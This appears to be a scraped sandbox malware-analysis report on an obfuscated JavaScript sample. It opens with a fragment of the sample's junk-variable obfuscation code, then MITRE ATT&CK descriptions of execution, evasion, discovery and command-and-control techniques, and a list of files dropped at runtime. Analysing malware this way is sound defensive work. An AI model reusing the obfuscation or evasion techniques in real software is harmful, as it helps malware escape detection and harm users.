1381	wqxiwp = "H";
1382	wqxiwp = "R";
1383	wqxiwp = "v";
1384	wqxiwp = "e";
1385	wqxiwp = "u";
1386	wqxiwp = "g";
1387	wqxiwp = "t";
1388	wqxiwp = "w";
1389	wqxiwp = "m";
1390	wqxiwp = "\"";
1391	uxrcew = "z";
1392	uxrcew = "J";
1393	uxrcew = "v";
1394	uxrcew = "H";
1395	uxrcew = "Y";
1396	uxrcew = "P";
1397	uxrcew = "z";
1398	uxrcew = "q";
1399	uxrcew = "l";
1400	uxrcew = "y";
1401	uxrcew = "L";
1402	uxrcew = "w";
1403	uxrcew = "i";
1404	uxrcew = "O";
1405	uxrcew = "m";
1406	uxrcew = "H";
1407	uxrcew = "P";
1408	uxrcew = "m";
1409	uxrcew = "E";
1410	uxrcew = "I";
1411	uxrcew = "D";
1412	uxrcew = "A";
1413	uxrcew = "I";
1414	uxrcew = "K";
1415	uxrcew = "M";
1416	uxrcew = "t";
1417	uxrcew = "2";
1418	sxmaucaa = "I";
1419	sxmaucaa = "I";
1420	sxmaucaa = "R";
1421	sxmaucaa = "C";
1422	sxmaucaa = "X";
1423	sxmaucaa = "K";
1424	sxmaucaa = "I";
1425	sxmaucaa = "r";
1426	sxmaucaa = "x";
1427	sxmaucaa = "v";
1428	sxmaucaa = "H";
1429	sxmaucaa = "j";
1430	sxmaucaa = "O";
1431	sxmaucaa = "N";
1432	sxmaucaa = "A";
1433	sxmaucaa = "t";
1434	sxmaucaa = "K";
1435	sxmaucaa = "O";
1436	sxmaucaa = "x";
1437	sxmaucaa = "U";
1438	sxmaucaa = "w";
1439	sxmaucaa = "d";
1440	sxmaucaa = "R";
1441	sxmaucaa = "r";
1442	sxmaucaa = "m";
1443	sxmaucaa = "W";
1444	sxmaucaa = "K";
1445	sxmaucaa = "F";
1446	sxmaucaa = "O";
1447	sxmaucaa = "Q";
1448	sxmaucaa = "Z";
1449	sxmaucaa = "v";
1450	sxmaucaa = "h";
1451	sxmaucaa = "G";
1452	sxmaucaa = "K";
1453	sxmaucaa = "n";
1454	sxmaucaa = "Q";
1455	sxmaucaa = "a";
1456	sxmaucaa = "K";
1457	sxmaucaa = "d";
1458	sxmaucaa = "c";
1459	uupehtuo = "V";
1460	uupehtuo = "C";
1461	uupehtuo = "N";
1462	uupehtuo = "v";
1463	uupehtuo = "X";
1464	uupehtuo = "O";
1465	uupehtuo = "W";
1466	uupehtuo = "c";
1467	uupehtuo = "j";
1468	uupehtuo = "R";
1469	vzwedcjx = "H";
1470	vzwedcjx = "b";
1471	vzwedcjx = "L";
1472	vzwedcjx = "j";
1473	vzwedcjx = "h";
1474	vzwedcjx = "F";
1475	vzwedcjx = "J";
1476	vzwedcjx = "I";
1477	vzwedcjx = "J";
1478	vzwedcjx = "Y";
1479	vzwedcjx = "j";
1480	vzwedcjx = "H";
1481	vzwedcjx = "o";
1482	vzwedcjx = "D";
1483	vzwedcjx = "N";
1484	vzwedcjx = "G";
1485	vzwedcjx = "h";
1486	vzwedcjx = "D";
1487	vzwedcjx = "l";
1488	vzwedcjx = "b";
1489	vzwedcjx = "l";
1490	vzwedcjx = "w";
1491	vzwedcjx = "O";
1492	vzwedcjx = "g";
1493	vzwedcjx = "z";
1494	vzwedcjx = "S";
1495	vzwedcjx = "b";
1496	vzwedcjx = "r";
1497	vzwedcjx = "G";
1498	vzwedcjx = "R";
1499	vzwedcjx = "S";
1500	vzwedcjx = "S";
1501	vzwedcjx = "o";
1502	vzwedcjx = "b";
1503	vzwedcjx = "M";
1504	vzwedcjx = "g";
1505	vzwedcjx = "Y";
1506	vzwedcjx = "q";
1507	vzwedcjx = "C";
1508	vzwedcjx = "L";
1509	jeuwmeeku = "c";
1510	jeuwmeeku = "j";
1511	jeuwmeeku = "n";
1512	jeuwmeeku = "x";
1513	jeuwmeeku = "t";
1514	jeuwmeeku = "f";
1515	jeuwmeeku = "S";
1516	jeuwmeeku = "Z";
1517	jeuwmeeku = "n";
1518	jeuwmeeku = "b";
1519	jeuwmeeku = "R";
1520	jeuwmeeku = "o";
1521	jeuwmeeku = "H";
1522	jeuwmeeku = "Z";
1523	jeuwmeeku = "k";
1524	jeuwmeeku = "t";
1525	jeuwmeeku = "b";
1526	jeuwmeeku = "s";
1527	jeuwmeeku = "O";
1528	jeuwmeeku = "S";
1529	jeuwmeeku = "R";
1530	jeuwmeeku = "p";
1531	jeuwmeeku = "l";
1532	jeuwmeeku = "E";
1533	jeuwmeeku = "q";
1534	jeuwmeeku = "s";
1535	jeuwmeeku = "Z";
1536	jeuwmeeku = "s";
1537	jeuwmeeku = "g";
1538	jeuwmeeku = "J";
1539	jeuwmeeku = "L";
1540	jeuwmeeku = "S";
1541	jeuwmeeku = "D";
1542	jeuwmeeku = "g";
1543	jeuwmeeku = "V";
1544	jeuwmeeku = "t";
1545	jeuwmeeku = "S";
1546	jeuwmeeku = "V";
1547	jeuwmeeku = "d";
1548	xpyqon = "H";
1549	xpyqon = "Y";
1550	xpyqon = "B";
1551	xpyqon = "E";
1552	xpyqon = "F";
1553	xpyqon = "M";
1554	xpyqon = "V";
1555	xpyqon = "l";
1556	xpyqon = "r";
1557	xpyqon = "K";
1558	xpyqon = "u";
1559	xpyqon = "H";
1560	xpyqon = "n";
1561	xpyqon = "i";
1562	xpyqon = "h";
1563	xpyqon = "T";
1564	xpyqon = "j";
1565	xpyqon = "y";
1566	xpyqon = "B";
1567	xpyqon = "l";
1568	xpyqon = "U";
1569	xpyqon = "A";
1570	xpyqon = "G";
1571	xpyqon = "L";
1572	xpyqon = "R";
1573	xpyqon = "n";
1574	xpyqon = "r";
1575	xpyqon = "g";
1576	xpyqon = "c";
1577	xpyqon = "V";
1578	xpyqon = "R";
1579	xpyqon = "U";
1580	xpyqon = "e";
1581	xpyqon = "c";
1582	xpyqon = "y";
1583	xpyqon = "k";
1584	juatub = "K";
1585	juatub = "E";
1586	juatub = "u";
1587	juatub = "d";
1588	juatub = "S";
1589	juatub = "l";
1590	juatub = "K";
1591	juatub = "G";
1592	juatub = "A";
1593	juatub = "i";
1594	juatub = "I";
1595	juatub = "s";
1596	juatub = "O";
1597	juatub = "z";
1598	juatub = "e";
1599	juatub = "L";
1600	juatub = "E";
1601	juatub = "Y";
1602	juatub = "Z";
1603	juatub = "y";
1604	juatub = "G";
1605	juatub = "p";
1606	juatub = "y";
1607	juatub = "Z";
1608	juatub = "s";
1609	juatub = "M";
1610	juatub = "L";
1611	juatub = "C";
1612	lgsac ( );	lgsac() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1018617432866721695.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1819ba86-4172-4476-9065-8e42c34662bd.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5588

Windows Analysis Report
1018617432866721695.js